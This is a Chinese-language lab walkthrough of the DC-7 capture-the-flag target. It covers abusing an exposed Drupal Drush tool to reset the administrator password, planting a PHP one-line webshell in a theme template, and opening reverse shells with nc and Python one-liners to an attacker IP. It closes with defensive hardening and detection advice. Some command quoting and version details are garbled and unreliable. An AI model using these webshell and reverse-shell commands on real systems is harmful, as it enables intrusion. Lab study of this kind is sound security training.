1. 项目概述:一次从Web到Shell的“非典型”路径
最近在复现DC-7这个经典的渗透测试靶场时,我发现了一个非常有意思的切入点。很多朋友拿到这个靶场,第一反应可能就是去扫目录、找后台、尝试SQL注入或者上传点。这当然没错,但DC-7的“官方”通关路径里,其实藏着一个更优雅、也更考验对目标系统深度理解的技巧——利用Drush命令来直接修改Drupal超级管理员(UID 1)的密码。
你可能要问,Drush是什么?简单来说,它是Drupal Shell的缩写,一个基于命令行的Drupal管理和脚本工具。对于Drupal开发者和管理员来说,Drush就像瑞士军刀,能高效地执行清缓存、更新模块、运行Cron等任务。但在渗透测试的视角下,如果一个攻击者能够找到执行Drush命令的途径,那么他几乎就拿到了整个Drupal站点的“后门钥匙”。DC-7靶场就巧妙地设计了这个场景:目标网站存在一个暴露的、可被利用的Drush命令执行点。
这个思路的价值在于,它跳过了传统Web漏洞的“正面强攻”,转而利用目标系统自身的运维工具特性进行“侧翼渗透”。对于安全从业者而言,掌握这种手法不仅能拓宽渗透思路,更能深刻理解“功能即漏洞”的理念——一个为方便管理而设计的功能,在错误的环境或权限下,就可能变成最危险的漏洞。接下来,我将带你完整走通这条路径,从信息收集到最终GetShell,并深入剖析每一个环节的原理和避坑要点。
2. 环境准备与目标信息搜集
在开始任何渗透测试之前,充分的侦察是成功的一半。对于DC-7这类基于特定应用(Drupal)的靶场,我们的信息搜集需要更有针对性。
2.1 靶场环境搭建与网络发现
首先,你需要一个可用的DC-7靶机环境。它通常以OVA虚拟机镜像的形式提供。导入到VMware或VirtualBox后,首要任务是确定它的IP地址。如果靶场设置为桥接模式,你可以使用netdiscover或arp-scan工具在你的局域网段内进行扫描。
sudo netdiscover -r 192.168.1.0/24或者使用Nmap进行快速主机发现:
sudo nmap -sn 192.168.1.0/24扫描结果中,寻找一个运行着常见Web服务端口(如80、443)的陌生IP,那很可能就是DC-7靶机。假设我们找到的IP是192.168.1.105。
2.2 初步Web应用指纹识别
拿到IP后,用浏览器直接访问http://192.168.1.105。页面加载后,我们立刻能获得几个关键信息:
- 网站技术:查看页面源代码,通常在
<meta>标签或<link>的href属性中,能发现Drupal特有的路径(如/core/,/sites/default/files/)。更直接的方法是使用浏览器插件(如Wappalyzer)或命令行工具whatweb进行识别。
输出会明确显示“Drupal”及其可能版本。whatweb http://192.168.1.105 - 开放端口与服务:对目标IP进行全端口扫描,了解其暴露的攻击面。
典型的DC-7会开放22(SSH)、80(HTTP)端口。SSH端口的存在提示我们,最终可能需要获取一个系统用户凭证。sudo nmap -sS -sV -p- 192.168.1.105 -oN nmap_full.txt
2.3 关键线索:暴露的Drush与用户枚举
对Drupal站点的深入侦察,目录扫描是必不可少的。我习惯使用gobuster或dirb,配合一个强大的字典(如/usr/share/wordlists/dirb/common.txt或directory-list-2.3-medium.txt)。
gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,md -o gobuster_scan.txt在扫描结果中,你需要特别关注以下几个点:
/scripts/目录:这是Drupal存放脚本文件的地方,也是Drush可能被调用的常见位置。访问http://192.168.1.105/scripts/,如果目录列表被开启,你可能会看到drush或相关脚本文件。/vendor/目录:Composer依赖目录,有时也能找到Drush的踪迹。/sites/default/:Drupal的默认站点配置文件目录,虽然通常无法直接访问settings.php,但可以尝试访问/sites/default/files/,这里有时会泄露一些信息。
一个更直接的发现:在DC-7中,往往在Web根目录下就存在一个名为drush的可执行文件或链接,或者通过访问特定的URL路径(如/vendor/drush/drush/drush)可以触发Drush。这通常是由于开发或运维人员为了方便,将Drush放置在了Web可访问的位置,这是一个严重的安全配置错误。
同时,对网站进行用户枚举。Drupal的登录页面(/user/login)和用户资料页(/user/)有时会透露已注册的用户名。你也可以尝试使用wpscan(虽然针对WordPress,但其用户枚举思路可借鉴)或编写简单脚本,通过检查/user/<id>页面是否存在来判断。在DC-7中,我们可能会发现一个名为admin或dc7user的管理员用户。
注意:此阶段的侦察务必细致。很多人在目录扫描时只关心
admin.php、login.php,却忽略了scripts、vendor这类看似普通的目录,恰恰是它们可能藏着通往后台的捷径。
3. Drush核心原理与漏洞利用链拆解
在找到Drush的访问点后,我们不能盲目执行命令。理解其工作原理和利用链,才能稳定、可控地达成目标。
3.1 Drush是什么?为什么它能成为突破口?
Drush不是一个孤立的漏洞,而是一个功能强大的工具被错误地暴露在了攻击面中。它的核心能力包括:
- 直接操作数据库:无需通过Drupal的Web表单,可直接执行SQL查询或调用Drupal的API进行用户、节点、配置的增删改查。
- 执行PHP代码:通过
php-eval或php-script参数,能够执行任意PHP代码。 - 调用Drupal核心函数:可以运行
user-password命令来修改指定用户的密码。
在安全的生产环境中,Drush应该只能通过服务器本地命令行(如SSH登录后)执行。一旦它可以通过Web请求(例如通过http://target/scripts/drush)来调用,就意味着攻击者能够以Web服务器进程(如www-data用户)的权限,执行所有Drush命令。而Web服务器进程通常对Drupal的文件和数据库拥有完整的读写权限。
3.2 利用链构建:从命令执行到密码重置
我们的攻击链非常清晰:
- 验证Drush可执行性:通过Web请求访问Drush脚本,确认其能正常运行并返回帮助信息或版本号。
- 定位Drupal根目录:Drush命令需要在Drupal网站的根目录下执行,或者通过
--root参数指定根目录路径。我们需要找到这个路径。 - 修改管理员密码:使用
drush user-password命令,为UID为1的超级管理员(或其他已知的管理员用户名)设置一个新密码。 - 登录后台,寻找进一步利用点:使用新密码登录Drupal后台,通常后台会存在插件上传、配置写入等能够获取代码执行权限的功能。
3.3 关键参数与命令详解
假设我们通过侦察,发现可以通过http://192.168.1.105/vendor/drush/drush/drush来调用Drush。那么,一个最基本的测试请求如下:
http://192.168.1.105/vendor/drush/drush/drush --version如果页面返回了Drush的版本信息(如“Drush Version : 8.1.18”),那么恭喜你,漏洞存在。
接下来是核心的密码重置命令。其完整格式通常为:
drush user-password <username> --password="<new_password>"但这里有几个关键点需要注意:
--root参数:如果当前执行目录不是Drupal根目录,必须使用--root=/var/www/html(具体路径需根据实际情况猜测或探测)来指定。- 用户标识:可以使用用户名(如
admin),也可以直接使用用户ID(UID),其中UID 1是默认的超级管理员账户,是最稳妥的目标。 - 密码复杂度:Drupal对密码有一定强度要求。过于简单的密码(如
password123)可能会被Drush或Drupal拒绝。最好使用一个符合常见复杂度要求的密码。
因此,一个完整的利用URL可能看起来像这样:
http://192.168.1.105/vendor/drush/drush/drush --root=/var/www/html user-password admin --password="MyNewStrongP@ssw0rd!"实操心得:在实际测试中,路径
/var/www/html是Linux上常见的Web根目录,但并非绝对。如果此路径失败,可以尝试/var/www、/usr/share/nginx/html、/srv/http等。一个技巧是利用Drush自身的status命令来探测:http://.../drush status --fields=root,这个命令会直接输出Drupal根目录的绝对路径。
4. 完整渗透实操过程记录
理论清晰后,我们进入实战环节。我将以一次模拟的完整渗透过程为例,展示每一步的操作、输出和思考。
4.1 第一步:确认Drush访问点并获取环境信息
首先,我使用curl命令来安全、快速地测试Drush是否可用,并获取基本信息。
curl -s "http://192.168.1.105/vendor/drush/drush/drush" --version"返回:
Drush Version : 10.6.2很好,Drush可用且版本为10.6.2。接下来,我需要知道Drupal的根目录在哪里。尝试使用status命令:
curl -s "http://192.168.1.105/vendor/drush/drush/drush" status --fields=root,uri,drupal-version"返回可能类似于:
Drupal root : /var/www/drupal Site URI : http://dc-7 Drupal version : 9.5.11成功!我们获得了最关键的信息:Drupal根目录是/var/www/drupal,版本是9.5.11。这比盲目猜测高效得多。
4.2 第二步:枚举现有用户并选择目标
在修改密码前,最好确认一下目标用户。我们可以尝试用Drush列出用户。但请注意,直接执行drush user-list可能需要更高权限或特定参数。一个更隐蔽的方法是尝试通过用户名猜测(如admin, administrator, root, dc7user)或者利用Drupal的REST API(如果开启)来枚举。在DC-7的上下文中,我们通常已知或能猜到管理员用户。
为了稳妥,我决定直接针对UID 1(默认超级管理员)进行操作。这是Drupal安装时创建的第一个用户,几乎总是存在的。
4.3 第三步:执行密码重置命令
现在,构造最终的利用URL。我将使用--root参数指定我们刚刚发现的路径,并为UID为1的用户设置一个强密码。
curl -s "http://192.168.1.105/vendor/drush/drush/drush" --root=/var/www/drupal user-password 1 --password=\"D7_Admin_P@ss!2024\""执行这条命令后,观察输出。成功的密码重置操作,Drush通常不会有太花哨的提示,可能只返回一个简单的“[success]”或没有任何错误信息。而如果失败,则会显示错误,如“[error]”开头的提示。
更安全的测试方式:为了避免因密码复杂度或用户不存在导致的失败干扰判断,可以先使用一个简单的php-eval命令测试代码执行是否畅通:
curl -s "http://192.168.1.105/vendor/drush/drush/drush" --root=/var/www/drupal php-eval \"echo 'Hello from Drush';\""如果页面返回“Hello from Drush”,则证明命令执行环境完全正常,可以放心进行密码重置。
4.4 第四步:登录Drupal后台与权限提升
假设密码修改成功,现在访问Drupal的登录页面:http://192.168.1.105/user/login。
- 用户名:
admin(或你通过其他方式得知的实际用户名,如果使用UID 1,用户名通常是admin)。 - 密码:
D7_Admin_P@ss!2024。
点击登录。如果成功,你将进入Drupal的管理后台。这是一个重要的里程碑,意味着你已完全控制了网站的内容和大部分配置。
在Drupal后台,获取服务器操作系统权限(GetShell)的常见方法有:
- 安装恶意模块:在“扩展”页面,尝试直接上传一个包含后门代码的
.zip格式模块。Drupal 8/9对模块上传有严格限制,此路通常不通。 - 修改现有模块或主题文件:在后台找到“文件系统”或直接通过“外观”->“主题”或“扩展”->“模块”,找到正在使用的主题或模块的编辑界面。有些主题的
page.tpl.php或模块的.module文件可以直接编辑。你可以插入一句话PHP Webshell,例如<?php system($_GET[‘cmd’]); ?>。 - 利用PHP Filter模块(如果启用):这是一个历史遗留的危险模块,允许在内容中直接执行PHP代码。如果靶场环境启用了它,你可以在创建一篇新的文章或区块时,选择“PHP code”文本格式,然后写入你的Webshell代码。
- 修改站点配置文件:访问
/admin/config/development/configuration/single/export,尝试导出system.site配置,在其中插入恶意代码,再导入。但这需要特定权限且操作复杂。
在DC-7的场景中,经过探索,最可能的方式是通过主题文件编辑插入Webshell。找到当前使用的主题(例如bartik),编辑其page.tpl.php或html.tpl.php文件,在文件末尾添加你的Webshell代码。
4.5 第五步:获取反向Shell与系统权限
成功插入Webshell后(假设你插入到了主题的模板文件中,访问任何前端页面都会加载该文件),你可以通过浏览器访问该页面并传递cmd参数来执行命令,例如:
http://192.168.1.105/node?cmd=whoami页面可能会显示www-data,确认了代码执行权限。
但交互性差的Webshell不利于深入渗透。我们需要一个反向Shell。使用nc、bash或python来建立连接。首先,在攻击机(Kali)上监听一个端口:
nc -lvnp 4444然后,通过Webshell执行反向Shell命令。注意需要对特殊字符进行URL编码。
# 使用bash反向连接(如果目标有nc) curl -s "http://192.168.1.105/node?cmd=nc%20-e%20/bin/bash%20192.168.1.100%204444" # 使用python(更可靠) curl -s "http://192.168.1.105/node?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.1.100%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27"将192.168.1.100替换为你的Kali攻击机IP。如果成功,你将在nc监听端口中获得一个反向Shell。
拿到www-data用户的Shell后,进行基本的系统信息枚举(uname -a,id,sudo -l),并寻找提权到root的方法。在DC-7中,通常会设置一个需要破解或利用的提权点,例如一个具有SUID权限的特殊二进制文件、一个配置错误的sudo规则,或者一个内核漏洞。这部分属于常规的Linux提权范畴,不在本文核心讨论范围内,但却是完整渗透的最终目标。
5. 深度防御:如何发现与修复此类漏洞
作为防守方或网站管理员,了解攻击手法后,更重要的是如何防护。针对“暴露的Drush”这类问题,防御是清晰且多层次的。
5.1 漏洞根因与检测方法
根因:根本原因在于将命令行管理工具(Drush)放置在了Web服务器文档根目录下,导致其可以通过HTTP协议直接访问。这通常发生在:
- 开发人员为了方便,将整个项目目录(包含
vendor/)部署到了Web根目录。 - 使用了类似
git clone的方式部署,没有清理非Web必要的文件和目录。 - 服务器目录权限配置错误,导致本应无法通过Web访问的目录变得可访问。
检测方法:
- 自动化扫描:使用OWASP ZAP、Burp Suite等工具的主动扫描功能,或使用
nikto、dirb等目录扫描工具,检查是否存在/vendor/drush/、/scripts/drush、/drush等路径。 - 手动审查:定期审查Web根目录下的文件和目录列表,移除所有非Web必要的文件,特别是
.php、.sh、可执行文件以及vendor/、node_modules/、.git/等目录。 - 配置审查:检查Web服务器(如Apache的
.htaccess或Nginx的location配置)是否对敏感目录进行了访问限制。
5.2 修复与加固方案
修复措施按照优先级排列:
立即移除或限制访问(治标):
- 最佳实践:将
vendor/drush/drush目录完全移出Web根目录。Drush应该作为全局命令行工具安装(如composer global require drush/drush),或在项目目录中通过../vendor/bin/drush调用,但其路径本身不应被Web服务器服务。 - 访问控制:如果因故无法移动,必须在Web服务器层面严格禁止对该路径的访问。
- Apache:在
.htaccess或虚拟主机配置中添加:<LocationMatch "^/(vendor|drush|scripts)"> Require all denied </LocationMatch> - Nginx:在server配置中添加:
location ~ ^/(vendor|drush|scripts) { deny all; return 403; }
- Apache:在
- 最佳实践:将
环境隔离与权限最小化(治本):
- 文件系统权限:确保Web服务器用户(如
www-data)对Drupal根目录只有必要的读写权限(通常/sites/default/files需要写权限,其他目录应设为只读)。可以使用find命令批量修改:find /var/www/drupal -type f -exec chmod 644 {} \; find /var/www/drupal -type d -exec chmod 755 {} \; chmod -R 775 /var/www/drupal/sites/default/files # 单独设置上传目录权限 - 使用系统包管理器:在生产环境,考虑使用操作系统包管理器(如
apt install drush)安装Drush,而非通过项目的Composer,避免vendor目录出现在Web树下。
- 文件系统权限:确保Web服务器用户(如
安全开发与部署流程:
- 将
vendor/、.git/等目录添加到.gitignore,避免被提交到代码库。 - 在部署脚本中,明确步骤将
vendor等非Web目录移出Web根目录,或使用构建工具(如Deployer)进行干净的部署。 - 使用
composer install --no-dev在生产环境安装依赖,减少不必要的开发工具暴露风险。
- 将
监控与审计:
- 在Web服务器日志中监控对敏感路径(如
/vendor/、/drush)的访问尝试,设置告警。 - 定期进行安全扫描和渗透测试,主动发现此类配置缺陷。
- 在Web服务器日志中监控对敏感路径(如
重要提示:仅仅删除或屏蔽Drush文件可能不够。攻击者可能会寻找其他暴露的管理脚本、调试终端(如
/admin/devel)或配置错误的API端点。因此,建立“最小权限原则”和“纵深防御”的安全思维至关重要。
6. 拓展思考:从Drush到其他CMS管理工具的攻防
DC-7利用Drush的思路,揭示了一类广泛的安全问题:Web应用的管理/运维接口暴露。这绝非Drupal或Drush独有。
- WordPress:存在
wp-admin/admin-ajax.php被滥用执行某些操作,或者xmlrpc.php文件被用于暴力破解或DDoS。更常见的是,安装插件或主题时留下的调试文件(如/wp-content/uploads/backdoor.php)。 - Joomla!:其管理员后台(
/administrator/)若使用弱密码,风险极高。一些第三方组件也可能存在未授权的命令执行漏洞。 - Laravel:如果
.env配置文件泄露,将导致数据库凭证、APP_KEY等敏感信息暴露。调试模式(APP_DEBUG=true)在生产环境开启,会泄露详细的栈跟踪信息。 - 通用问题:许多框架在开发模式下会暴露路由列表、配置信息(如Spring Boot的
/actuator端点),如果未在生产环境关闭,将成为信息搜集的宝藏。
作为攻击者,你的武器库应该包含对这些常见CMS和框架的管理接口、配置文件和调试功能的深度认知。在信息搜集阶段,要有意识地寻找:
*/admin/*,*/wp-admin/*,*/administrator/**/vendor/*,*/node_modules/**.git/*(Git目录泄露)*.env,*config*.php,*settings*.py*/debug*,*/console*,*/phpinfo*
作为防御者,必须建立清单,在应用上线前,系统地检查和关闭这些潜在的风险点:
- 确保生产环境关闭所有调试和开发模式。
- 使用
robots.txt或直接服务器配置,屏蔽对管理后台、配置目录、依赖目录的爬取和访问。 - 对管理后台实施强密码、双因素认证和IP白名单(如果可能)等多重保护。
- 定期使用
grep搜索代码库中可能存在的phpinfo()、eval()、system()等危险函数,并审查其调用是否安全。
DC-7靶场通过Drush这个点,生动地展示了“功能误置”带来的安全风险。它提醒我们,安全不仅仅是修补CVE漏洞,更是对系统架构、配置管理和运维流程的全面审视。每一次便捷性的提升,都可能在不经意间打开一扇危险的后门。真正的安全,始于对每一个细节的敬畏和掌控。